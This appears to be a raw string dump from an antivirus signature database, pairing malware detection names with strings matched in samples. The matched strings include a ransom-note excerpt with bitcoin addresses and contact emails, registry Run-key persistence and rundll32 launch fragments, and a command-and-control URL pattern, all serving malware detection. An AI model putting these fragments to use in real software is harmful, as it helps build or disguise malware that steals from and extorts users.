.DEFAULT\\Control Panel\\International Control Panel\\Desktop\\ResourceLocale Microsoft\\Internet Explorer\\Quick Launch UnimplementedAPI !#HSTR:Trojan:Win32/FormBook.AMP4!MTB !#ALFPER:TrojanProxy:MSIL/Exton.A!dha Channeling.dll Tunnel Channeling <Module>Channeling.dllTunnelChanneling TunnelNetStream_ TunnelSocket_ TunnelCrypt_ TunnelPortReconnect CreateMainConnection DoAuthentication GetPortReconnect ReadFromTunnel WriteInTunnel ReadFromSession CheckDataFromTunnel WriteDatatoRemoteServer MsgFromClientSessions SetWorkKey NUM_KEYS NUM_PASSWD KEYS_LEN PASSWD_LEN NUM_KEYSNUM_PASSWDKEYS_LENPASSWD_LEN current_key baseKeys basePasswords current_keybaseKeysbasePasswordsStart GetPasswords cryptRC4 GetKeyGetPasswordscryptRC4 How are you?x !#TEL:Exploit:Win64/UsoDllLoader.A!dha UsoCoreWorkerRunning UsoCoreWorker.pdb onecore\\enduser\\ UsoApi.pdb  MusNotifyIcon  WindowsUpdateElevatedInstaller 6\\WindowsUpdate\\Orchestrator DeviceCensus.pdb ApplyUpdate.pdb InputLocaleManager onecoreuap\\shell\\ LangUpdateLauncher  \\Speech_OneCore\\ \\WindowsUpdate\\ VSGraphicsCaptureEngine VSGraphicsCaptureEnginex !#ALF:TrojanDownloader:Win32/Small.SIBA!MTB  !#ALF:TrojanDownloader:Win32/Small.SIBA!MTBd6 /dt/dt.txt /dt/log.asp RemoteAccess %s?isnew= &LocalInfo=%s&szHostName=%s&tmp AeliFoTdaolnwoDLRU AlrUnepOtenretnI AnepOtenretnI lld.nomlru lld.teniniW lld.teniniWx !#Lowfi:HackTool:Win32/CCProxy CCProxy5User already exists or User/IP/MAC length is illegal! About CCProxy...QUser Name|IP Address|MAC Address|Connections|Bandwidth|Enable|Group|Belongs Group Address|MAC Address|User/Password|User/Password Report Files (*.htm)|*.htm|All Files (*.*)|*.*|| changeadminpassword !#ALF:Ransom:Win32/Lokbitty.A 1PFkYtDbxQRTv8Xse77u7wYG5bht8QB6e2 18jAZHhC8uy13n2Ym7YTTmTBfr9r8tivDM sociopatii@yahoo.com cage1@gmx.us I would like to tell you first I'm sorry about that. Your documents, files, databased most are in original places or some moved to your local data. If you want to regain access to your local disk, all your files, documents, etc please send It's just business not trying to get your money and then to not give to you the bitlocker password. Waiting for your reply to my email address It's just business not trying to get your money and then to not give to you the bitlocker password. Waiting for your reply to my email addressx Library.Main_fm.resources Library.AuthorizationForm.resources Library.add_book_fm.resources Library.add_users_fm.resources Library.add_issue_fm.resources Library.issued_fm.resources Library.ChangeUserDataForm.resources Library.Properties.Resources.resources SetWindowsHookEx Data Source=|DataDirectory|\\Database1.sdf set_HideSelection set_PasswordChar set_HideSelectionset_PasswordChar ToStringConcat Assembly AssemblyLoadGetType getInstance logged LoggedChange getInstanceloggedLoggedChangex! !#SoftwareBundler:MSIL/Protlerdob tela_inicial navegador_ barra_progresso lb_carregando lb_porc painel_inicial USERPROFILE \\Desktop\\ /VERYSILENT /NORESTART \tTEMP /conta.url Prime.url .google.com dply.exe \\Users\\FELIPE\\Desktop\\downloader !#HSTR:TrojanDropper:Win32/Tracur.gen!M \t!#HSTR:TrojanDropper:Win32/Tracur.gen!M !#TEL:Trojan:Win32/AgentTesla.SSMB!MTB m_Opciones ControlSystemLibrary.Opciones.resources ControlSystemLibrary.CustomText.resources ControlSystemLibrary.AGVDisplay.resources ControlSystemLibrary.PartSingleDisplay.resources ControlSystemLibrary.BatteryDisplay.resources ControlSystemLibrary.Zodiac.resources ControlSystemLibrary.PartDisplayControl.resources setDataBinding ControlSystemLibrary.Resources.resources ControlSystemLibrary.Resources.resourcesx# !#HSTR:Yesudac.A2 6C9C3C9D33A52BBD CE21A020B526AB3C 2E5EFF4194C40858 9FD173D20656FB6C 86F656F76DFF4597 7FF153F266F65A8A 88F858F96FE167F9 96C32858AAE97286E8 6EFB6090E22048BC21 EE7AFE718582EA0165 4792D6295DBA255B9F 4693D92A5CBB24589A 28B53A4ABCDB0478FA 4895DB2C5EBD265A9C CF1D4181D67AC013B42BB635AF22A524A627BC006DF56EED63E36AEC788A31923 44B816469937ADC82F41 EC034090C3015792D629 DA2FA63D91CD13B32EA2205CF06FE077D87DD40F4E B92ABF0759F853B7D836AB29A4 B92ABF0759F853B7D836AB29A4x$ !#ALFPER:Trojan:Win64/NewPass.X!dha Comment Microsoft Windows Co  Assembly !#HSTR:Trojan:Win32/Busky.EL buildid createdir curver getbrowser getcompid getname getsysdir getwm ismodem loadvar openexe regdelkey regdelval reggetval regnewkey regsetval saveexe savevar selfupdate setscript settitle setwindowposx& !#ALFPER:TrojanDownloader:Win32/VaporRage.D!dha !#TEL:Trojan:Win32/BazarLoader.M!ibt \\natchat-master\\x64\\Release\\natchat.pdb \\seriallogger-master\\Src\\Service\\SerialMon___Win32_MCD_Release\\SerialLogger.pdb \\JECOMS\\x64\\Release\\JECOMS.pdb \\seriallogger-master\\Src\\Config\\SMConfig___Win32_MCD_Release\\SerialLoggerConfig.pdb \\Release\\WIFI.pdb \\administration\\spy\\x64\\Release\\ComSpy.pdb \\tutorial\\Release\\CoffeeShop6.pdb \\tutorial\\x64\\Release\\CoffeeShop6.pdb \\SEED\\Release\\SEED.pdb \\gridctrl_demo227\\Release\\GridCtrlDemo.pdb \\Loader\\Release\\Loader.pdb \\Loader\\Release\\Loader.pdbx& !#HSTR:Trojan:Win32/FormBook.AMP2!MTB  kernel32::VirtualProtect(i r kernel32::GetCurrentProcess()i.r lOwqlOw ShellExecuteAx( !#TEL:TrojanDropper:Win32/Kerfuffle.A!dha \t!#TEL:TrojanDropper:Win32/Kerfuffle.A!dha cmd.exe /c InfDefaultInstall.exe  rundll32.exe advpack.dll,LaunchINFSectionEx  explorer /e, /select,  cmd.exe /c echo HKCU,\"Software\\Microsoft\\Windows\\CurrentVersion\\Run \\ScnCfg.exe \\vsodscpl.dll MyselfLotPH_miansha rbAdmin_CheckedChanged_1 rbDoctor_CheckedChanged_1 rbReceptionist_CheckedChanged_1 remove_PatientRowChanged TimeZoneInfoComparer SWE2_Project1.Login.resources SWE2_Project1.Admin.resources SWE2_Project1.Doctor.resources SWE2_Project1.Properties.Resources.resources SWE2_Project1.Receptionist.resources SWE2_Project1.DBDataSetTableAdapters SWE2_Project1.Properties.Resources sssss get_ssss .exes !#ALF:PWS:Win32/Zbot.A outpost.exe __SYSTEM__ 0\\currentversion\\explorer 0\\currentversion\\winlogon 2nt\\currentversion\\network upcfg %s %sData:  %s URL: %s !application/x-www-form-urlencoded Content-Type: binary Mozilla/4.0 (compatible; MSIE 6.0; \"Mozilla/4.0 (compatible; MSIE 6.0; ftp://%s:%s@%u.%u.%u.%u %u.%u.%u.%u:%u anonymous  .%uanonymous PS data:  DisconnectNamedPipe DisconnectNamedPipex) !#HSTR:Win32/Tnega.R!MTB $MsiLogFileLocation  RunAsAdminFile RunAsAdminCmd (RunAsAdminWorkingDir [StartupFolder] H[LocalAppDataFolder]Programs\\Common\\ AICustAct.dll DeleteShortcuts SHGetSpecialFolderPathW SHGetSpecialFolderLocation SHGetMalloc ExpandEnvironmentStringsW OpenMutexW OpenMutexWx* !#HSTR:MSIL/AgentTesla.TR!MTB Kids_vs_IceCream.Form1.resources Kids_vs_IceCream.MDIParent1.resources Kids_vs_IceCream.KeySpec.resources Kids_vs_IceCream.Properties.Resources.resources Kids_vs_IceCream.GameWindow.resources Kids_vs_IceCream.Forms.EnterNameWindow.resources Kids_vs_IceCream.Forms.HighScoreWindow.resources Kids_vs_IceCream.NextLevelWindow.resources Kids_vs_IceCream.GameOverWindow.resources Kids_vs_IceCream.HowToPlayWindow.resources 8686D3F76DE95B4E1C5D0F86E7937E2588B69F423E9A26B0BA870C9DA332B907 8686D3F76DE95B4E1C5D0F86E7937E2588B69F423E9A26B0BA870C9DA332B907x. !#HSTR:Trojan:Win32/C2Lop.gen!N.1 4!#HSTR:Trojan:Win32/C2Lop.gen!N.1 !#Ransom:Win32/Crowti!decrypt Browse button for select folder to search for encrypted files CryptoWall  Decrypter !#HSTR:VirTool:Win32/Obfuscator.ALM YQ;t1_ Qj]hfM C!%D> [nYC^ Pr[sq\t +\\5H[ Z_kxc 8s=*C FurW# IU\\yz x7tG6]'S &Agy1 OMc)1 d0FAVbA  >ETG hrQ(\\|\t qze53 _I/@# 7u^uL  APwRl w;q}Q 3H/$;9 |7i>} mduGk i9 `+U PnyN] .r}H@ QJOKK :z9k! }t;u/J ~jxh]  j9!V  5}WU% >Tf{eD C0v\"!> tJ,>e ednz= d>RX> |2+?a5 (IX[T; qOP5\t6= (rka4 ^Df4m ~vs'Mx \\spOv E01H0 UG>Nq ]U;F* Qr~tT g'g\tY X[=z6: /(\"aN] D^X9U ^L5pF iq<;C b_Ns! z\"]}4+ G+`5f *2pu@ a+sf*+i   FOP:VirTool:Win32/Obfuscator.Fareit $FOP:VirTool:Win32/Obfuscator.Fareit 2789916b1483 PEBMPAT:Virus:Win32/Xpaj.gen!F fixup_rva   key_rva CURE:Virus:Win32/Xpaj.C_%08X_%08X \"CURE:Virus:Win32/Xpaj.C_%08X_%08X 37955eb36b01   145b31061429f  6EF@  179b3412949a0 179b3412949a0IncludesBMLuaLib 179b3bea337e5 179b3bea337e5IncludesBMLuaLib 179b3ed708fc4 179b3ed708fc4IncludesBMLuaLib !#ALF:Trojan:Win32/RenoFloss.G!dha   !#ALF:Exploit:Script/AriffraffJs.A!dha !#ALF:Exploit:Script/AriffraffJs.A!dhaObMpAttributes 42078 SCPT:CodeOnly.AriffraffJs 15b3cf26fc31    2db33bcf0c68 \t:EF@  65b369cd99b8    75b3fac5cf45    9fb334ba8295  c9b315c851c7  c:\\windows\\system32\\tasks c9b380e1082c  c9b38ce04dc8  c9b398e383e4  c9b39ce340b8  cdb3517745d3    f1b3475745df  c678f331c9b3 c678f331c9b3Flags1  winsta0 16e78fefdbae9   line_numbers_stripped locals_symbols_stripped  198781a1fa1b7    1f47807cbd97c    1f478f60aafb2    2017818cbc3bc    15b363848631   25b35e056280 25b3ff3fa362   useraccountcontrolsettings.exe 33894b9d9bc9 NE *K _2K1g a[Lzs Q^59 V}sJ'} eWe@a b1c(v#Kt VT:j:q nn:tcJQ> R#/(g) LP|t* YVwg' ^NDzj `.| @P nZb%+ ZyTltm 0~*/wu P;HJ4 \tV+{giE 9k~G-( *pi#a 9U)2(< EaSQv5 SE4n Fo cRa:q ydY#V KH!=l R 0F]b ?m |N T^H,,: -\\.%:g ?q( /5 UHmLG>. 8\t=<u ~//= s !R<Y+C q@:AM S]Ks'. 6&K/C yZ\t-Ik S@'jA aHS@'jA ?]iE$ Z?G)HA& %)><_BG wq26l [-e0+? Qf'[xf 9< 6Z 76C2VK @6|J2 `]}Td {- H} !!c8z OdLhP - TZJ FiU_) I@iE2;`D 7P*7R /sw)MZ Mg;9E gkkiR R>hwQ m7oiD .>J\t# R7MF T S8dav W4Jjy D5W/CEq Me\\HxV aObXp %V1!^ rZW/C  J\"(&( 22/1/ g-i*m $yr3b O'^+C ?Yi[UB y??F`( UiA0W $;!C'G( c.,cF }Y&B7 Meg^` _\tT7A )3nh==Kk }Ns]W og +$ (9OE]UC= TptQ?SB') \t*l,g 3*w%g ,Z<]%[#N *h4 Y w %3A wrXe< !w!QgN J}%7Tl, yy%y ;o DiI)s C7a\\u #l}tWD m&/{\" A ;]6_c ^/ajQ B`L {g -1\"x\" ,7tCX j|H}q |a1 # $x*FO :SIGATTR:VoolDownloader :SIGATTR:VoolDownloaderU% :#LOWFI:HSTR:Diplugem_obfuscator :#LOWFI:HSTR:Diplugem_obfuscatorU%. :#LowFi:HSTR:CrossriderFramework :#LowFi:HSTR:CrossriderFrameworkU% Y#Persist:HSTR:MaxigetDownloader Y#Persist:HSTR:MaxigetDownloaderU&m 0,_#Lowfi:Program:Win32/EasySpeedPc 0,_#Lowfi:Program:Win32/EasySpeedPcU& @:#LowFi:HSTR:FourSharedDownloader @:#LowFi:HSTR:FourSharedDownloaderU&\tu :#Lowfi:HSTR:Win32/UnityWebPlayer :#Lowfi:HSTR:Win32/UnityWebPlayerU& :#LowFi:Program:Win32/OutBrowse.B :#LowFi:Program:Win32/OutBrowse.BU&Xw- _#Lowfi:Program:Win32/RegCleanPro _#Lowfi:Program:Win32/RegCleanProU& :#LowFi:Program:Win32/OutBrowse.C :#LowFi:Program:Win32/OutBrowse.CU& _#HSTR:Program:Win32/ProPCCleaner _#HSTR:Program:Win32/ProPCCleanerU' Y#Persist:HSTR::Win32/OInstaller.A Y#Persist:HSTR::Win32/OInstaller.AU' K!Y#PERSIST:HSTR:Win32/MyWebSearch.B K!Y#PERSIST:HSTR:Win32/MyWebSearch.BU' %Y#Persist:SIGATTR:DownloaderHelper %Y#Persist:SIGATTR:DownloaderHelperU' ,_#Lowfi:Program:Win32/SpigotSearch ,_#Lowfi:Program:Win32/SpigotSearchU' 0:#Lowfi:CherishedTechnology:Nation 0:#Lowfi:CherishedTechnology:NationU' 3:#Lowfi:AGGREGATOR:AddLyricsPlugin 3:#Lowfi:AGGREGATOR:AddLyricsPluginU' 8:#Lowfi:LUA:AutoitDummylastSection 8:#Lowfi:LUA:AutoitDummylastSectionU'\tK VY#Persist:HSTR:UnknownSilentLoader VY#Persist:HSTR:UnknownSilentLoaderU' u:#Lowfi:SCRIPT:VBS/PrifouCrypt.A-2 u:#Lowfi:SCRIPT:VBS/PrifouCrypt.A-2U' Y#Persist:SIGATTR:RSPark-OutBrowse Y#Persist:SIGATTR:RSPark-OutBrowseU'J,s :#LowFi:SIGATTR:SoftonicDownloader :#LowFi:SIGATTR:SoftonicDownloaderU'ml Y#Persist:HSTR:XingCloudDownloader Y#Persist:HSTR:XingCloudDownloaderU' Y#Persist:HSTR::Win32/OInstaller.B Y#Persist:HSTR::Win32/OInstaller.BU' :#LowFi:SCRIPT:CrossriderFramework :#LowFi:SCRIPT:CrossriderFrameworkU' :#Lowfi:AGGR:LowerInternetSecurity :#Lowfi:AGGR:LowerInternetSecurityU' :#Lowfi:SCRIPT:VBS/PrifouCrypt.A-1 :#Lowfi:SCRIPT:VBS/PrifouCrypt.A-1U' :#LOWFI:SIG:TD_OptimumInstaller.A1 :#LOWFI:SIG:TD_OptimumInstaller.A1U' _#Lowfi:SIGATTR:LoadFirefoxLibrary _#Lowfi:SIGATTR:LoadFirefoxLibraryU' :#Lowfi:HSTR:Win32/DriverUpdater.B :#Lowfi:HSTR:Win32/DriverUpdater.BU(U  :#Lowfi:Lua:Adware:Win32/ZoomyLib.A  :#Lowfi:Lua:Adware:Win32/ZoomyLib.AU( _#LowFi:SCPT:Bundler:Win32/Vittalia _#LowFi:SCPT:Bundler:Win32/VittaliaU(! 0_#LowFi:NDAT:Program:Win32/Einstall 0_#LowFi:NDAT:Program:Win32/EinstallU( } 4_#Lowfi:Program:Win32/ConsumerInput } 4_#Lowfi:Program:Win32/ConsumerInputU( @Y#Persist:HSTR:FourSharedDownloader @Y#Persist:HSTR:FourSharedDownloaderU( CSQ_#LowFi:HSTR:Program:Win32/ZeoSpace CSQ_#LowFi:HSTR:Program:Win32/ZeoSpaceU( Y_#Lowfi:Program:Win32/ShopWithBoost Y_#Lowfi:Program:Win32/ShopWithBoostU( <q:#Lowfi:BRUTE:AdwareFevenManifestFf <q:#Lowfi:BRUTE:AdwareFevenManifestFfU( _#LowFi:SIGATTR:Program:Win32/KNCTR _#LowFi:SIGATTR:Program:Win32/KNCTRU(8 _#Lowfi:SIGATTR:UseNetShAdvFirewall _#Lowfi:SIGATTR:UseNetShAdvFirewallU(& _#LowFi:SIGATTR:Program:Win32/Anote _#LowFi:SIGATTR:Program:Win32/AnoteU( :#Lowfi:Lua:Adware:Win32/ZoomyLib.B :#Lowfi:Lua:Adware:Win32/ZoomyLib.BU( _#Lowfi:HSTR:PossibleVBDownloader.A _#Lowfi:HSTR:PossibleVBDownloader.AU( :#LOWFI:HSTR:Adware:Win32/ShouQu.A1 :#LOWFI:HSTR:Adware:Win32/ShouQu.A1U(y :#Lowfi:Lua:Adware:Win32/ZoomyLib.C :#Lowfi:Lua:Adware:Win32/ZoomyLib.CU( :#Lowfi:HSTR:LoadComponentExtension :#Lowfi:HSTR:LoadComponentExtensionU( _#Lowfi:Lua:WrittenToDownloadFolder _#Lowfi:Lua:WrittenToDownloadFolderU) _#Lowfi:SIGATTR:DisableGoogleUpdate1 _#Lowfi:SIGATTR:DisableGoogleUpdate1U) \t9_#Lowfi:Program:Win32/SmartSaverplus \t9_#Lowfi:Program:Win32/SmartSaverplusU) E:#Lowfi:SIGATTR:PossibleDownloader.A E:#Lowfi:SIGATTR:PossibleDownloader.AU) _#Lowfi:HSTR:Program:Win32/PCSpeedUp _#Lowfi:HSTR:Program:Win32/PCSpeedUpU) _#LowFi:SIGATTR:Program:Win32/Kometa _#LowFi:SIGATTR:Program:Win32/KometaU) _#lowfi:HSTR:WinNT/NetFilter2!driver _#lowfi:HSTR:WinNT/NetFilter2!driverU)$ _#Lowfi:SIGATTR:DisableGoogleUpdate2 _#Lowfi:SIGATTR:DisableGoogleUpdate2U)J,s Y#Persist:SIGATTR:SoftonicDownloader Y#Persist:SIGATTR:SoftonicDownloaderU) _#LowFi:HSTR:Program:Win32/Vitruvian _#LowFi:HSTR:Program:Win32/VitruvianU) _#LowFi:HSTR:Program:Win32/Solimba.B _#LowFi:HSTR:Program:Win32/Solimba.BU) _#Lowfi:SIGATTR:DisableGoogleUpdate3 _#Lowfi:SIGATTR:DisableGoogleUpdate3U) Y#PERSIST:HSTR:Win32/DriverUpdater.B Y#PERSIST:HSTR:Win32/DriverUpdater.BU*7J ,:#LowFi:SIGATTR:Program:Win32/Solimba ,:#LowFi:SIGATTR:Program:Win32/SolimbaU*B -_#LowFi:SCPT:Program:Win32/MyPCBackup -_#LowFi:SCPT:Program:Win32/MyPCBackupU*2 :#LowFi:SIGATTR:WritesChromeExtension :#LowFi:SIGATTR:WritesChromeExtensionU* Y#PERSIST:HSTR:WinNT/NetFilter!driver Y#PERSIST:HSTR:WinNT/NetFilter!driverU*{ :#Lowfi:Lua:Program:Win32/OutBrowse.A :#Lowfi:Lua:Program:Win32/OutBrowse.AU* :#LOWFI:HSTR:Trojan:MSIL/Dafterdod.A1 :#LOWFI:HSTR:Trojan:MSIL/Dafterdod.A1U+ :#Behavior:Win32/UncCreateFileSensor.A :#Behavior:Win32/UncCreateFileSensor.AU+^\" !_#LowFi:SCPT:Program:Win32/SpeedUpMyPC !_#LowFi:SCPT:Program:Win32/SpeedUpMyPCU+ `l%:#Lowfi:Win32/YTDownloader!LikelyClean `l%:#Lowfi:Win32/YTDownloader!LikelyCleanU+ ):#Lowfi:SIGATTR:PossibleVBDownloader.A ):#Lowfi:SIGATTR:PossibleVBDownloader.AU+4 U:#LowFi:HSTR:Adware:Win32/Couponarific U:#LowFi:HSTR:Adware:Win32/CouponarificU+ ]:#Lowfi:AGG:Win32/Obfuscator.Cryptra.A ]:#Lowfi:AGG:Win32/Obfuscator.Cryptra.AU+_ j:#Behavior:Win32/UncRenameFileSensor.A j:#Behavior:Win32/UncRenameFileSensor.AU+ :#LOWFI:HSTR:MSIL/CheckVirtualFunction :#LOWFI:HSTR:MSIL/CheckVirtualFunctionU+ :#Behavior:Win32/UncDeleteFileSensor.A :#Behavior:Win32/UncDeleteFileSensor.AU+ :#LOWFI:SIGATTR:Adware:Win32/IWebar.A1 :#LOWFI:SIGATTR:Adware:Win32/IWebar.A1U+ :#Behavior:Win32/UncChangeFileSensor.A :#Behavior:Win32/UncChangeFileSensor.AU+ _#LowFi:SIGATTR:Program:Win32/Einstall _#LowFi:SIGATTR:Program:Win32/EinstallU+ _#LowFi:HSTR:Program:Win32/VitruvianIE _#LowFi:HSTR:Program:Win32/VitruvianIEU+7A _#SIGATTR:Program:Win32/PCOptimizerPro _#SIGATTR:Program:Win32/PCOptimizerProU,&~8 :#LOWFI:SIGATTR:Adware:Win32/BoxRock.A1 :#LOWFI:SIGATTR:Adware:Win32/BoxRock.A1U,`U \t:#Lowfi:AGGREGATOR:Trojan:O97M/Donoff.A \t:#Lowfi:AGGREGATOR:Trojan:O97M/Donoff.AU, _#lowfi:CERT:Adware:Win32/PullUpdate.A2 _#lowfi:CERT:Adware:Win32/PullUpdate.A2U,\t$ :#Lowfi:AGGR:Program:Win32/NSISChecksAV :#Lowfi:AGGR:Program:Win32/NSISChecksAVU, ;:#Lowfi:SIGATTR:ReadHDDIDPossibleAntiVM ;:#Lowfi:SIGATTR:ReadHDDIDPossibleAntiVMU, S_#LowFi:SIGATTR:Program:Win32/BestDeals S_#LowFi:SIGATTR:Program:Win32/BestDealsU,2 Y#Persist:SIGATTR:WritesChromeExtension Y#Persist:SIGATTR:WritesChromeExtensionU,si :#Lowfi:AGGR:Program:Win32/NSISChecksVM :#Lowfi:AGGR:Program:Win32/NSISChecksVMU,Z _#lowfi:CERT:Adware:Win32/PullUpdate.A1 _#lowfi:CERT:Adware:Win32/PullUpdate.A1U, _#lowfi:CERT:Adware:Win32/PullUpdate.A4 _#lowfi:CERT:Adware:Win32/PullUpdate.A4U, _#LowFi:Program:Win32/DownloadAssistant _#LowFi:Program:Win32/DownloadAssistantU,n :#LowFi:SoftwareBundler:Win32/OutBrowse :#LowFi:SoftwareBundler:Win32/OutBrowseU,% _#Lowfi:SIGATTR:Program:Win32/PCSpeedUp _#Lowfi:SIGATTR:Program:Win32/PCSpeedUpU,+95 _#lowfi:CERT:Adware:Win32/PullUpdate.A3 _#lowfi:CERT:Adware:Win32/PullUpdate.A3U,uM :#LOWFI:HSTR:Adware:Win32/CloverPlus.A1 :#LOWFI:HSTR:Adware:Win32/CloverPlus.A1U- :#Lowfi:STATIC:Adware:Win32/CrossRider.C :#Lowfi:STATIC:Adware:Win32/CrossRider.CU- +_#SIGATTR:Program:Win32/AVGSearchProtect +_#SIGATTR:Program:Win32/AVGSearchProtectU-C R:#Lowfi:SIGATTR:PossibleMSILDownloader.A R:#Lowfi:SIGATTR:PossibleMSILDownloader.AU- :#Lowfi:Lua:SuspiciousExeFileInAppdata.B :#Lowfi:Lua:SuspiciousExeFileInAppdata.BU- :#Lowfi:Lua:Program:Win32/OutBrowse!drop :#Lowfi:Lua:Program:Win32/OutBrowse!dropU- :#Lowfi:PUA:BundlerCluster:InstallCore.A :#Lowfi:PUA:BundlerCluster:InstallCore.AU- _#LowFi:HSTR:Program:Win32/BoBrowserInst _#LowFi:HSTR:Program:Win32/BoBrowserInstU-T :#Lowfi:SIGATTR:TrojanSpy:Win32/Delpoa.A :#Lowfi:SIGATTR:TrojanSpy:Win32/Delpoa.AU. 2:#Lowfi:HSTR:Program:Win32/AirInstaller.A 2:#Lowfi:HSTR:Program:Win32/AirInstaller.AU. 8_#HSTR:Program:Win32/SystemMaintenancePro 8_#HSTR:Program:Win32/SystemMaintenanceProU. Q:#Lowfi:HSTR:Program:Win32/UltraDownloads Q:#Lowfi:HSTR:Program:Win32/UltraDownloadsU. _#HSTR:Program:Win32/MalwareProtection360 _#HSTR:Program:Win32/MalwareProtection360U.!o _#LowFi:HSTR:Program:Win32/SaveDailyDeals _#LowFi:HSTR:Program:Win32/SaveDailyDealsU. _#SIGATTR:Program:Win32/AdvanceCleanerPro _#SIGATTR:Program:Win32/AdvanceCleanerProU. _#Lowfi:SCPT:Adware:Win32/InstallMetrix.A _#Lowfi:SCPT:Adware:Win32/InstallMetrix.AU. Y#Persist:Program:Win32/DownloadAssistant Y#Persist:Program:Win32/DownloadAssistantU/ #_#LowFi:NID:Program:Win32/UniversalUpdater #_#LowFi:NID:Program:Win32/UniversalUpdaterU/ Bi6_#Lowfi:SCPT:Adware:Win32/LiveSoftAction.A Bi6_#Lowfi:SCPT:Adware:Win32/LiveSoftAction.AU/ _#Lowfi:SIGATTR:NSIS:ShellExecuteExError.A _#Lowfi:SIGATTR:NSIS:ShellExecuteExError.AU/ _#LowFi:SIGATTR:Program:Win32/CouponMarvel _#LowFi:SIGATTR:Program:Win32/CouponMarvelU/ :#LowFi:HSTR:TrojanDownloader:Win32/Adcurl :#LowFi:HSTR:TrojanDownloader:Win32/AdcurlU/ :#Lowfi:SIGATTR:PossibleDelphiDownloader.A :#Lowfi:SIGATTR:PossibleDelphiDownloader.AU/ _#Lowfi:SIGATTR:Program:Win32/SpigotExtHlp _#Lowfi:SIGATTR:Program:Win32/SpigotExtHlpU/ Y#PERSIST:PUA:BundlerCluster:InstallCore.A Y#PERSIST:PUA:BundlerCluster:InstallCore.AU0 _#Tel_SoftwareBundler:Win32/BetterInstaller _#Tel_SoftwareBundler:Win32/BetterInstallerU0 8:#LowFi:SoftwareBundler:Win32/GoFileExpress 8:#LowFi:SoftwareBundler:Win32/GoFileExpressU0 Y:#LOWFI:HSTR:Program:Win32/Casino_Installer Y:#LOWFI:HSTR:Program:Win32/Casino_InstallerU0 u\\:#LowFi:SoftwareBundler:Win32/GoFileExpress u\\:#LowFi:SoftwareBundler:Win32/GoFileExpressU0 ]_#Tel_SoftwareBundler:Win32/BetterInstaller ]_#Tel_SoftwareBundler:Win32/BetterInstallerU0 :#LOWFI:SIGATTR:Adware:Win32/ElexTechYac.A1 :#LOWFI:SIGATTR:Adware:Win32/ElexTechYac.A1U0 :#LowFi:SoftwareBundler:Win32/GoFileExpress :#LowFi:SoftwareBundler:Win32/GoFileExpressU0 _#Tel_SoftwareBundler:Win32/AstoriInstaller _#Tel_SoftwareBundler:Win32/AstoriInstallerU0 :#LowFi:SoftwareBundler:Win32/DownloadAdmin :#LowFi:SoftwareBundler:Win32/DownloadAdminU1  :#Lowfi:AGGR:Program:Win32/NSISChecksFiddler  :#Lowfi:AGGR:Program:Win32/NSISChecksFiddlerU1 ):#LOWFI:SCPT:Program:Win32/CodecPlayerRKR.A1 ):#LOWFI:SCPT:Program:Win32/CodecPlayerRKR.A1U1V6 >_#Lowfi:HSTR:BrowserModifier:ConsentBypass.A >_#Lowfi:HSTR:BrowserModifier:ConsentBypass.AU18 F_#LowFi:SIGATTR:Program:Win32/SaveDailyDeals F_#LowFi:SIGATTR:Program:Win32/SaveDailyDealsU1 J:#LOWFI:HSTR:Adware:Win32/ElexTechYacNSIS.A1 J:#LOWFI:HSTR:Adware:Win32/ElexTechYacNSIS.A1U1 W:#LOWFI:AGGR:Program:Win32/CodecPlayerRKR.A0 eycq_#Lowfi:SCPT:Adware:Win32/SupSearchProtect.A W:#LOWFI:AGGR:Program:Win32/CodecPlayerRKR.A0U1eycq_#Lowfi:SCPT:Adware:Win32/SupSearchProtect.AU1` :#LUA:ContextualChangeFileTypeSensor.A!actor :#LUA:ContextualChangeFileTypeSensor.A!actorU1 Y#Persist:HSTR:TrojanDownloader:Win32/Adcurl Y#Persist:HSTR:TrojanDownloader:Win32/AdcurlU1. :#LOWFI:HSTR:Adware:Win32/ElexTechYacNSIS.A2 :#LOWFI:HSTR:Adware:Win32/ElexTechYacNSIS.A2U1 _#LOWFI:Lua:ContextualDropFileSkypeExtScript _#LOWFI:Lua:ContextualDropFileSkypeExtScriptU2 :#Lowfi:CERT:BrowserModifier:Win32/Diplugem.G :#Lowfi:CERT:BrowserModifier:Win32/Diplugem.GU2 :#Lowfi:CERT:BrowserModifier:Win32/Diplugem.C :#Lowfi:CERT:BrowserModifier:Win32/Diplugem.CU2 :#Behavior:Win32/MultiDriveChangeFileSensor.A :#Behavior:Win32/MultiDriveChangeFileSensor.AU2M _#Lowfi:Program:Win32/SpigotBrowserExtensions _#Lowfi:Program:Win32/SpigotBrowserExtensionsU2  :#LowFi:HSTR:TrojanDownloader:Win32/AdStatp.A  :#LowFi:HSTR:TrojanDownloader:Win32/AdStatp.AU2 :#LOWFI:SCPT:BrowserModifier:Win32/Sijetso.A2 :#LOWFI:SCPT:BrowserModifier:Win32/Sijetso.A2U2 :#LUA:ContextualChangeFileTypeSensor.A!target :#LUA:ContextualChangeFileTypeSensor.A!targetU2 ':#Lowfi:Lua:SuspiciousExeFileInLocalAppdata.A ':#Lowfi:Lua:SuspiciousExeFileInLocalAppdata.AU2 *:#Lowfi:HSTR:BrowserModifier:Win32/Diplugem.H *:#Lowfi:HSTR:BrowserModifier:Win32/Diplugem.HU2 -_#Lowfi:HSTR:Trojan:Win32/PossibleMultiBanker -_#Lowfi:HSTR:Trojan:Win32/PossibleMultiBankerU2b] 9:#Behavior:Win32/MultiDriveDeleteFileSensor.A 9:#Behavior:Win32/MultiDriveDeleteFileSensor.AU2 W:#LOWFI:HSTR:Program:Win32/AstromendaSearch.A W:#LOWFI:HSTR:Program:Win32/AstromendaSearch.AU2 t:#Lowfi:CERT:BrowserModifier:Win32/Diplugem.F t:#Lowfi:CERT:BrowserModifier:Win32/Diplugem.FU2o :#LOWFI:SCPT:BrowserModifier:Win32/Sijetso.A1 :#LOWFI:SCPT:BrowserModifier:Win32/Sijetso.A1U2 :#Behavior:Win32/MultiDriveCreateFileSensor.A :#Behavior:Win32/MultiDriveCreateFileSensor.AU2h :#Lowfi:HSTR:BrowserModifier:Win32/Diplugem.G :#Lowfi:HSTR:BrowserModifier:Win32/Diplugem.GU2 :#Lowfi:HSTR:BrowserModifier:Win32/Diplugem.F :#Lowfi:HSTR:BrowserModifier:Win32/Diplugem.FU2 :#Behavior:Win32/MultiDriveRenameFileSensor.A :#Behavior:Win32/MultiDriveRenameFileSensor.AU3 r7Q:#LowFi:HSTR:TrojanDownloader:Win32/FakeIE!dll r7Q:#LowFi:HSTR:TrojanDownloader:Win32/FakeIE!dllU3;Z _#Lowfi:MissingWatsonFileTelemetryExperimental _#Lowfi:MissingWatsonFileTelemetryExperimentalU3\" :#LOWFI:HSTR:MSIL/Obfuscator.Eazfuscator.NET.A 